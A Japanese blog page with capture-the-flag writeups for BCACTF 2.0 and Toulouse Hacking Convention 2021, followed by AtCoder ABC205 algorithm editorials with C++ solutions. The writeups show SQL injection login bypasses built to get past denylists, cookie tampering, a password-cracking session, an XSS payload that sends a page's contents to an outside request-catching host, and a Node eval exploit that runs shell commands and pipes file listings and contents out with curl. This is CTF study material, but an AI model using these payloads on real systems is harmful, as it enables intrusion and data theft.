はまやんはまやんはまやん

hamayanhamayan's blog

BCACTF 2.0 解説 (Writeup)

解けたものだけ。

Countdown Timer [Web]

f:id:hamayanhamayan:20210612123215p:plain

100日間は待てないので何とかしなくては。

f:id:hamayanhamayan:20210612124228p:plain

カウントダウンが終了するとgetFlagが呼ばれる。 直接コンソールでgetFlagを呼ぼうとしたら呼べなかった。うーん。 適当にブレークとして、待ち時間を0に書き換えてやればフラグが出てくる。

f:id:hamayanhamayan:20210612125235p:plain

Home Automation [Web]

色々巡回して、/offにアクセスしてみる。
You must be admin to turn off the lights. Currently you are "vampire".
ほう。

f:id:hamayanhamayan:20210612125513p:plain

確かに。Cookieのuseをadminにしてアクセスしてみよう。

f:id:hamayanhamayan:20210612125634p:plain

Movie-Login-1 [Web]

問題文とかみてもSQLiをしてほしそうな感じがあるので、 admin:' or 1=1 --でログインできる。

Wasm Protected Site 1 [Web]

Chrome Developer Toolを使えばもろ書いてある。

f:id:hamayanhamayan:20210612131454p:plain

Agent Gerald [Web]

問題を見るとUser-Agentを適切に入れ替えてほしいという趣旨に見えるので、「Agent Gerald」に差し替えてみるとフラグが得られる。

f:id:hamayanhamayan:20210612131814p:plain

Movie-Login-2 [Web]

前問と同じ問題だが、denylistが与えられる。

[
    "1",
    "0",
    "/",
    "="
]

これだと前のやつは使えないので、ちょっと書き換えてフラグを得る。
admin:' or true --

Movie-Login-3 [Web]

これも前問と同じでdenylistが更新されている。

[
    "and",
    "1",
    "0",
    "true",
    "false",
    "/",
    "*",
    "=",
    "xor",
    "null",
    "is",
    "<",
    ">"
]

色々解法がありそうだが、自分はこれで通した。
admin:' or 2 --

Regular Website [Web]

ソースコードを確認しよう。

    const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
    const page = await (await browser).newPage();
    await page.setJavaScriptEnabled(true);
    try {
        await page.setContent(`
        <!DOCTYPE html>
        <html>
            <head>
                <meta charset="utf-8">
                <title>Comment</title>
            </head>
            <body>
                <p>Welcome to the Regular Website admin panel.</p>
                <h2>Site Stats</h2>
                <p><strong>Comments:</strong> ???</p>
                <p><strong>Flag:</strong> ${flag}</p>
                <h2>Latest Comment</h2>
                ${sanitized}
            </body>
        </html>
        `, {timeout: 3000, waitUntil: "networkidle2"});
    } catch (e) {
        console.error(e);
        ctx.status = 500;
        ctx.body = "error viewing comment";
        await page.close();
        return;
    }

const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
といった感じでサニタイズされて、フラグを含んだサイトに埋め込まれて管理者が確認するという流れ。
XSSを仕込んでサイトの中身を全部持ってくればよさそう。

色々試すと、以下でフラグが持ってこれる。

<img src=x onerror="fetch('https://XXXXXXXX.requestcatcher.com/test', { method : 'post', body: document.documentElement.innerHTML })"

普通のXSSコードを書いて最後の>を省略するだけ。
たまたま思いついてやったら成功したのだが、テクの名前とかついていたりするんだろうか。
Dangling Markup Injectionと雰囲気は似ていると思う。

Wasm Protected Site 2 [Web]

UTCTF 2020 writeup - Wasm Fans Only - こんとろーるしーこんとろーるぶいを参考に静的・動的解析していく
眺めていくと

  • $v0は入力されたフラグ
  • $v1は暗号化されたフラグ
  • $v2はindex

という感じに使われていて$v0[$v2] == ($v2 * 9 + 127) xor enc[$v2]で比較をしているので、暗号化されたフラグを持ってきて、ルール通りに復元していくとフラグが得られる。

raw = [0x62, 0x6A, 0x73, 0x78, 0x50, 0x4B, 0x4D, 0x48, 0x7C, 0x22, 0x37, 0x4E, 0x1B, 0x44, 0x04, 0x33, 0x62, 0x5D, 0x50, 0x52, 0x19, 0x65, 0x25, 0x7F, 0x2F, 0x3B, 0x17]
ans = ""
for idx in range(27):
    asc = (idx * 9 & 127) ^ raw[idx]
    ans += chr(asc)
print(f'answer is {ans}')

Infinite Zip [Forensic]

zipが与えられる。これを解凍すると999.zipが出てきて、それをさらに解凍すると998.zipが出てくる。
スクリプトを書くのも面倒なので、バイナリエディタを開いて何とかならないか色々やってみると前半の適当な所を削ってzipのマジックコードらへんに寄せて消すとかなりスキップできる。

f:id:hamayanhamayan:20210612171807p:plain

7zipとかを使えばCRCとか無視して無理矢理解凍してくれる。
最終的にflag.pngというファイルが手に入るが、そこに書いてあるフラグは答えではないみたい。
strings flag.png | grep bcaみたいにやるとほんとのフラグが手に入る。

Zstegosaurus [Forensic]

題名からzstegを使ってほしそうな感じがあり、使うと出てくる。

$ zsteg zstegosaurus.png
b1,r,lsb,xy         .. text: "h15_n@m3_i5nt_g3rard"
b4,rgb,msb,xy       .. text: ["w" repeated 10 times]

Secure Zip [Forensic]

パスワード付きzipが与えられる。
johnを使ったパスワードクラックをしてみよう。

$ zip2john chall.zip > chall_hash.txt
ver 1.0 efh 5455 efh 7875 chall.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=64, decmplen=52, crc=75EEF70D
ver 1.0 efh 5455 efh 7875 chall.zip/homework.txt PKZIP Encr: 2b chk, TS_chk, cmplen=64, decmplen=52, crc=75EEF70D
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
$ john --wordlist=/usr/share/dirb/wordlists/rockyou.txt chall_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dogedoge         (chall.zip)
1g 0:00:00:01 DONE (2021-06-12 18:00) 0.6756g/s 5784Kp/s 5784Kc/s 5784KC/s dolla bill..dodolke
Use the "--show" option to display all of the cracked passwords reliably
Session completed

これで解凍すればフラグが書いてある。

これは余談だが、たまにHint無しでは解くのが不可能な時もあるのでタダでHintが見られるときは即見ている。
ヒントにGerald loves listening to the song that goes "we will, we will".とあり、「queenがパスワードか?違うwewillrockyouがパスワードか?違う」としていたが、今思えばrockyouを言いたかっただけか。

Toulouse Hacking Convention 2021 解説 (Writeup)

1つしか解けなかった・・・

Unsafe Math [Web]

app.post('/', function(req, res){
    const regex = /[a-zA-Z]/g;
    var width = req.body.width;
    var height = req.body.height;
    if(width === '' || height === ''){
        return res.render('index', {'error':'one of the field is empty...'});
    }
    if(width.length > 10 || height.length > 10){
        return res.render('index', {'error':'width or height are too large !'});
    }
    return res.render('index', {'result':'Result: ' + eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')});
})

RCEにつなげられそうなエンドポイントがある。
制約はそれほど多くなく、文字数制限くらいしかない。
色々試すと、以下の入力を使うとRequestが飛んでくることが確認できる。

width[]=require("child_process").exec("curl+https://[request-bin]/test")&height=1

結果はResult: NaNとされるが、評価はされているっぽいので、RCEは達成できた。
後はPOSTでlsやらcatやらするとフラグゲット

width[]=require("child_process").exec("ls+|+curl+https://[request-bin]/test+-X+POST+-d+@-")&height=1
index.js
node_modules
package-lock.json
package.json
sec9et_fl46.txt
static
views

width[]=require("child_process").exec("cat+sec9et_fl46.txt+|+curl+https://[request-bin]+-X+POST+-d+@-")&height=1
THCon21{t34cHiN6_1s_N0t_sO_3@sY}

Grid and Tokens [AtCoder Beginner Contest 205 F]

https://atcoder.jp/contests/abc205/tasks/abc205_f

前提知識

解説

https://atcoder.jp/contests/abc205/submissions/23457322

今回の問題は最大流問題に帰着できる。
パッと見て類題を思い出して、選択肢を考えていくと最大流で解法が思いつける。
見たことが無いと解くのは難しい。

DPでも解けそうな感じもするが、選択順を固定することができないので、ちょっと難しそう。
後は、行と列にそれぞれ1つずつしか置けないということもあってマッチング問題っぽく見え、
フローかな…という考察ルートもあるかもしれない。
この辺は頑張るしかない…

以降は、最大流は分かっているものとする。

最大流のグラフの作り方

以下のような感じでグラフを作る

  • 頂点は以下の6種類
    • 始点 st
    • 占有されている列を表す頂点 x1, x2, ..., xW
    • 駒を表す頂点1, p1, p2, ..., pN
    • 駒を表す頂点2, w1, w2, ..., wN
    • 占有されている行を表す頂点 y1, y2, ..., yH
    • 終点gl
  • 以下のように辺を張る
    • 始点からどの列に駒が置かれているかを表現するのに st -> x? にコスト1の辺を張る
    • どの駒がどの列を占有しているかを表現するのに x? -> p? にコスト1の辺を張る(この時、置ける所だけ辺を張る)
    • 駒は1度しか選択できないので、駒を表す頂点を倍加して1度だけ選択されていることを保証するのに、 pa -> wa にコスト1の辺を張る
    • どの駒がどの行を占有しているかを表現するのに w? -> y? にコスト1の辺を張る(この時、置ける所だけ辺を張る)
    • 始点からどの行に駒が置かれているかを表現するのに y? -> gl にコスト1の辺を張る

これでstからglに最大流を流した時の流量が答えとなる。
駒は1度しか選択できないので、頂点を倍加する所がポイントとなる。

int H, W, N;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W >> N;

    MaxFlow<int> mf(W + N + N + H + 2);

    int st = W + N + N + H;
    int gl = st + 1;

    rep(x, 0, W) mf.add_edge(st, x, 1);
    rep(i, 0, N) {
        int A, B, C, D;
        cin >> A >> B >> C >> D;
        A--; B--;
        rep(y, A, C) rep(x, B, D) {
            mf.add_edge(x, W + i, 1);
            mf.add_edge(W + N + i, W + N + N + y, 1);
        }
        mf.add_edge(W + i, W + N + i, 1);
    }
    rep(y, 0, H) mf.add_edge(W + N + N + y, gl, 1);

    int ans = mf.maxflow(st, gl);
    cout << ans << endl;
}

White and Black Balls [AtCoder Beginner Contest 205 E]

https://atcoder.jp/contests/abc205/tasks/abc205_e

前提知識

解説

https://atcoder.jp/contests/abc205/submissions/23454802

この問題は類題を知っていれば解法は一瞬で思いつくが、知らないと一生解けない(少なくとも自分は…)
この問題はカタラン数とかdyck列とかカッコ列対応問題とかそういった類の問題となる。

カタラン数

類題を色々以下に置いてあるが、とりあえずAOJの10歳の動的計画が入門問題となるので、今回の問題に取り組む前にこちらを理解することをお勧めする。
競技プログラミングにおける数学的問題まとめ - はまやんはまやんはまやん
カタラン数とかでググると解説も多く見つかるだろうのでこの部分は理解しているとして話を進める。
(正直、ここの理解がこの問題で一番キツい所)

カタラン数を適用する

今回の問題はカタラン数での捉え方と同様に格子上の経路数え上げに帰着することができる。
縦に使った白の個数、横に使った黒の個数を軸に取ると、とある格子上の経路がボールの並べ方に対応する。
ここで重要なのが、wi≦bi+Kにおいて、K=0の場合を考えると、カタラン数の場合の数え上げと同じ状況になっていることである。
よってK=0の場合は、カタラン数での数え上げ方と同様にC(N+M,N)-C(N+M,N-1)で計算ができる。
そうでない、例えばK=1の場合もそれほど難しくなく、格子状の直線の切片が1だけ上に上がるだけなので、C(N+M,N)-C(N+M,N-2)とすればいい。
よって、基本的にはC(N+M,N)-C(N+M,N-K-1)が答えになる。

コーナーケース1

この問題では追加でコーナーケースを考える必要がある。
立式を見るとN=Kの時にN-K-1が-1になるのでどうなんだろうという感じになる。
N=Kの時はどんなふうに選択してもOKなので、C(N+M,N)が答え。
この辺は二項係数が-1の時は0を返す仕様(というか本来そうか?あまりちゃんと考えてない)ならまとめられる。

コーナーケース2

並べ方が存在しない場合に計算がおかしくなるので、存在しない場合は場合分けをして0を答えよう。
そうなる条件は N > M+Kである。
全部置き切ったときに条件が満たせてないなら、実現不可能である。

int N, M, K;
Comb<mint, 2010101> com;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> M >> K;
    mint ans;
    if (N > M + K) ans = 0;
    else if (N == K) ans = com.aCb(N + M, N);
    else ans = com.aCb(N + M, N) - com.aCb(N + M, N - K - 1);
    cout << ans << endl;
}

Kth Excluded [AtCoder Beginner Contest 205 D]

https://atcoder.jp/contests/abc205/tasks/abc205_d

解説

https://atcoder.jp/contests/abc205/submissions/23456683

自分はクエリ先読みと尺取り法っぽく解いた。
考え方が思いついても実装も大変な問題。
クエリ先読みについてはモチベは簡単なので、軽く説明するが、尺取り法については知らない場合はもっと入門的な問題で学んでくることをお勧めする。
(二分探索とか使えば、クエリ先読みも二分探索もいらない気がする)

クエリ先読み

クエリ問題への取り組み方の1つとしてクエリ先読みというやり方がある。
バルク実行という言い方もできるし、こちらの方が馴染みがある人も多いかもしれない。
クエリを貰った順から1つ1つ処理するのではなく、一気にまとめてやってしまうと計算量改善が図れるという雰囲気である。

クエリをすべて読み込んでおいて、Kの値が小さいものから順番に処理していくことを考える。
最終的にはクエリを読み込んだ順で出力する必要があるので、順番も保持した状態にしておく工夫が必要となる。
やり方は色々あるが、自分はidxを配列ordに入れておいて、Kの最小で特殊ソートして使うことにした。
すると、順番はindex順に処理していき、実際のKの値はK[ord[index]]で取ってくればいい。

これ以降は順番とかクエリ先読みとかいう部分は無視して解説する。
実装時に巻き取ればいいので、これ以降はAと同様にKは普通に昇順であったときに、どうやってクエリをさばくかというのを考える。

尺取り法

数のありうる空間は[1,1018]なので、あまりに大きすぎる。
よって、ある程度まとめて計算する必要があるのだが、それをAの値を境界線としてグループ分けすることにする。
グループ分けをするとA1の前で1つ、Aの間でN-1個、ANの後で1つのN+1のどこかのグループにすべての答えが属すことになる。
ちょうどこれは、Kが昇順に並んでいると仮定すると、Kが大きくなるにつれて、グループの番目も同様に大きくなることが分かる。
このように一方が増加するときに、もう片方も単調的な動きをする場合に尺取り法が効率的に使える。

自分の実装では、グループの方を小さい方から順番になめていって、Kを小さい方から順番にグループにマッピングしていくようにしている。
答えをいかに出すかであるが、K[i]番目がA[j]とA[j+1]の間にあることが分かっていれば、A[j]より前のAでない数の個数は簡単に求めることができるので、
K[i]からその個数を引けばA[j]+1から何番目の数が答えになるかが分かる。
それをA[j]から足して答えとすればいい。

とあるグループについて考えるときにそれ以前のAでない数の個数を変数cntとして保持していくことでグループを小さい方から見ながらそれまでの個数も保持でき、
Kがそのグループに属すと分かっていれば答えが求められるようになっている。
尺取り法の説明は、基本概念をまずしっかり理解していないと、何とも難しい…

二分探索を使う場合

グループのA以外の個数を累積和で持っておいて二分探索でどのグループに属すかを判定していけば、クエリ先読みも尺取り法もいらないなと解説書いてて思いました。

int N, Q; ll A[101010];
ll K[101010];
ll ans[101010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> Q;
    rep(i, 0, N) cin >> A[i];
    rep(i, 0, Q) cin >> K[i];

    vector<int> ord;
    rep(i, 0, Q) ord.push_back(i);
    sort(all(ord), [&](int a, int b) { return K[a] < K[b]; });

    int ord_i = 0;
    ll cnt = 0;
    while (ord_i < Q && cnt + 1 <= K[ord[ord_i]] && K[ord[ord_i]] <= cnt + A[0] - 1) {
        ans[ord[ord_i]] = 0 + K[ord[ord_i]] - cnt;
        ord_i++;
    }
    cnt += A[0] - 1;
    rep(i, 1, N) {
        while (ord_i < Q && cnt + 1 <= K[ord[ord_i]] && K[ord[ord_i]] <= cnt + A[i] - A[i - 1] - 1) {
            ans[ord[ord_i]] = A[i - 1] + K[ord[ord_i]] - cnt;
            ord_i++;
        }
        cnt += A[i] - A[i - 1] - 1;
    }
    while (ord_i < Q) {
        ans[ord[ord_i]] = A[N - 1] + K[ord[ord_i]] - cnt;
        ord_i++;
    }

    rep(i, 0, Q) printf("%lld\n", ans[i]);
}

POW [AtCoder Beginner Contest 205 C]

https://atcoder.jp/contests/abc205/tasks/abc205_c

解説

https://atcoder.jp/contests/abc205/submissions/23456949

発想力が必要となる問題。
真面目に計算するのは精度的に無理なので、logか…?とも思ったがこちらも精度が心配で、300点っぽくない。
大小関係だけを今回は要求していることを考慮していくと、A2やB2は非負になるので、A2,B2をかけることは
0以外は大小関係に影響を及ぼさない。
0が入ると大小関係が崩れる、最終的にはAとBかA2とB2の比較になるので、あまり気にしなくてもいい。 (心配なら場合分けしてもいいと思う。よくわからないなら場合分けする方針はいい保険だと思う) ということは、Cはmod2っぽく考えてもよいことになる。
正確には0になると、累乗としては意味合いが変わってしまうので、奇数ならC=1として考えて、
偶数ならC=2として考えて問題を解くことで大小関係が分かる。
C=1,2ならlong long上であれば計算が可能なので、計算して比較すると答えが得られる。

ll A, B, C;
//---------------------------------------------------------------------------------------------------
ll pow(ll X, ll Y) {
    if (Y == 1) return X;
    return X * X;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> A >> B >> C;

    if (C % 2 == 0) C = 2;
    else C = 1;

    if (pow(A, C) == pow(B, C)) cout << "=" << endl;
    else if (pow(A, C) < pow(B, C)) cout << "<" << endl;
    else cout << ">" << endl;
}

Permutation Check [AtCoder Beginner Contest 205 B]

https://atcoder.jp/contests/abc205/tasks/abc205_b

解説

https://atcoder.jp/contests/abc205/submissions/23457038

問題を少し変えて考えてみる。
今回の判定問題は、与えられたAを並び替えて、1,2,3,...,Nになるかというのを考えても問題ない。
と考えると、Aをソートして、1,2,3,...,Nであるかを判定すればいい。
このような操作を逆に考えるテクは汎用的なので、ネタの1つとして持っておくといい。

int N, A[1010];
//---------------------------------------------------------------------------------------------------
#define yes "Yes"
#define no "No"
string solve() {
    sort(A, A + N);
    rep(i, 0, N) if (i + 1 != A[i]) return no;
    return yes;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];
    cout << solve() << endl;
}